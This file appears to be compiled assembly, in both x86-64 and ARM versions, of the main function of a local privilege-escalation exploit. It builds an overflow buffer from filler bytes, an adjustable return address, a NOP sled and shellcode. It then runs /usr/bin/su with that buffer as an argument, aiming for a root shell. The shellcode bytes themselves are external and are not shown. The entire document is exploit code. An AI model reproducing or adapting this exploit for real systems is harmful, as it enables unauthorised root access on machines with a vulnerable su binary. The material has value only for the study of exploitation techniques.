	.file	"extr_259.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"su"
.LC1:
	.string	"/usr/bin/su"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r12
	sub	rsp, 40
	.cfi_offset 12, -24
	mov	edx, DWORD PTR BUFSIZE[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	mov	r9, rsp
	lea	eax, 4[rdx]
	cdqe
	add	rax, 15
	mov	rcx, rax
	and	rax, -4096
	sub	r9, rax
	and	rcx, -16
	mov	rax, r9
	cmp	rsp, rax
	je	.L3
.L22:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L22
.L3:
	and	ecx, 4095
	sub	rsp, rcx
	test	rcx, rcx
	jne	.L23
.L4:
	sub	edi, 1
	mov	r12, rsp
	jg	.L24
.L5:
	mov	esi, 65
	sub	edx, 8
	mov	rdi, r12
	call	memset@PLT
	mov	eax, DWORD PTR BUFSIZE[rip]
	mov	rsi, QWORD PTR retaddr[rip]
	lea	ecx, -8[rax]
	xor	eax, eax
	movsx	rcx, ecx
	add	rcx, r12
	.p2align 4,,10
	.p2align 3
.L6:
	mov	edx, DWORD PTR [rsi+rax*4]
	mov	BYTE PTR [rcx+rax], dl
	add	rax, 1
	cmp	rax, 8
	jne	.L6
	mov	rdi, QWORD PTR rawcode[rip]
	lea	rdx, 8[r12]
	mov	rax, r12
	.p2align 4,,10
	.p2align 3
.L7:
	add	rax, 1
	mov	BYTE PTR -1[rax], 110
	cmp	rax, rdx
	jne	.L7
	mov	rsi, r12
	lea	rcx, 72[rdi]
	mov	rax, rdi
	sub	rsi, rdi
	.p2align 4,,10
	.p2align 3
.L8:
	movzx	edx, BYTE PTR [rax]
	mov	BYTE PTR 8[rsi+rax], dl
	add	rax, 1
	cmp	rax, rcx
	jne	.L8
	mov	rcx, QWORD PTR nop[rip]
	xor	eax, eax
	.p2align 4,,10
	.p2align 3
.L9:
	mov	rdx, rax
	and	edx, 3
	mov	edx, DWORD PTR [rcx+rdx*4]
	mov	BYTE PTR 80[r12+rax], dl
	add	rax, 1
	cmp	rax, 320
	jne	.L9
	movzx	eax, BYTE PTR 72[rdi]
	lea	rdx, 80[rdi]
	sub	eax, 80
	mov	BYTE PTR 400[r12], al
	lea	rax, 73[rdi]
	.p2align 4,,10
	.p2align 3
.L10:
	movzx	ecx, BYTE PTR [rax]
	mov	BYTE PTR 328[rsi+rax], cl
	add	rax, 1
	cmp	rdx, rax
	jne	.L10
	xor	ecx, ecx
	lea	r8, -48[rbp]
	lea	rsi, .LC0[rip]
	mov	rdx, r12
	lea	rdi, .LC1[rip]
	mov	QWORD PTR -40[rbp], 0
	call	execle@PLT
	mov	rax, QWORD PTR -24[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L25
	mov	r12, QWORD PTR -8[rbp]
	xor	eax, eax
	leave
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L24:
	.cfi_restore_state
	mov	rdi, QWORD PTR 8[rsi]
	call	atoi@PLT
	mov	r8, rax
	mov	rax, QWORD PTR retaddr[rip]
	add	DWORD PTR [rax], r8d
	mov	edx, DWORD PTR BUFSIZE[rip]
	jmp	.L5
.L23:
	or	QWORD PTR -8[rsp+rcx], 0
	jmp	.L4
.L25:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	retaddr,8,8
	.comm	rawcode,8,8
	.comm	nop,8,8
	.comm	BUFSIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_259.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"su\000"
	.align	2
.LC1:
	.ascii	"/usr/bin/su\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC2:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, fp, lr}
	add	fp, sp, #16
	sub	sp, sp, #28
	ldr	r5, .L19
	cmp	r0, #1
	ldr	r3, [r5]
	ldrle	r6, .L19+4
	add	r3, r3, #11
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r3, .L19+8
	add	r4, sp, #8
	ldr	r3, [r3]
	str	r3, [fp, #-24]
	mov	r3,#0
	ble	.L2
	ldr	r0, [r1, #4]
	bl	atoi
	ldr	r6, .L19+4
	ldr	r2, [r6]
	ldr	r3, [r2]
	add	r3, r3, r0
	str	r3, [r2]
.L2:
	ldr	r2, [r5]
	mov	r1, #65
	sub	r2, r2, #8
	mov	r0, r4
	bl	memset
	ldr	r3, [r5]
	ldr	r2, [r6]
	sub	r3, r3, #8
	add	r3, r4, r3
	sub	r2, r2, #4
	add	r0, r3, #8
.L3:
	ldr	r1, [r2, #4]!
	strb	r1, [r3], #1
	cmp	r3, r0
	bne	.L3
	mov	r2, r4
	mov	r1, #110
	ldr	r0, .L19+12
	add	r3, r4, #8
	ldr	lr, [r0]
.L4:
	strb	r1, [r2], #1
	cmp	r2, r3
	bne	.L4
	sub	r1, lr, #8
	sub	r1, r1, r4
	add	r0, r4, #80
.L5:
	ldrb	r2, [r3, r1]	@ zero_extendqisi2
	strb	r2, [r3], #1
	cmp	r3, r0
	bne	.L5
	mvn	r0, #79
	ldr	r2, .L19+16
	sub	r0, r0, r4
	ldr	ip, [r2]
	add	r1, r4, #400
.L6:
	add	r2, r3, r0
	and	r2, r2, #3
	ldr	r2, [ip, r2, lsl #2]
	strb	r2, [r3], #1
	cmp	r1, r3
	bne	.L6
	ldrb	r2, [lr, #72]	@ zero_extendqisi2
	sub	r3, lr, #328
	sub	r2, r2, #80
	add	r1, r1, #1
	strb	r2, [r4, #400]
	sub	r3, r3, r4
	add	r0, r4, #408
.L7:
	ldrb	r2, [r1, r3]	@ zero_extendqisi2
	strb	r2, [r1], #1
	cmp	r0, r1
	bne	.L7
	mov	r5, #0
	sub	r1, fp, #32
	mov	r2, r4
	mov	r3, r5
	str	r1, [sp]
	ldr	r0, .L19+20
	ldr	r1, .L19+24
	str	r5, [fp, #-28]
	bl	execle
	ldr	r3, .L19+8
	ldr	r2, [r3]
	ldr	r3, [fp, #-24]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L18
	mov	r0, r5
	sub	sp, fp, #16
	@ sp needed
	pop	{r4, r5, r6, fp, pc}
.L18:
	bl	__stack_chk_fail
.L20:
	.align	2
.L19:
	.word	BUFSIZE
	.word	retaddr
	.word	.LC2
	.word	rawcode
	.word	nop
	.word	.LC1
	.word	.LC0
	.size	main, .-main
	.comm	retaddr,4,4
	.comm	rawcode,4,4
	.comm	nop,4,4
	.comm	BUFSIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
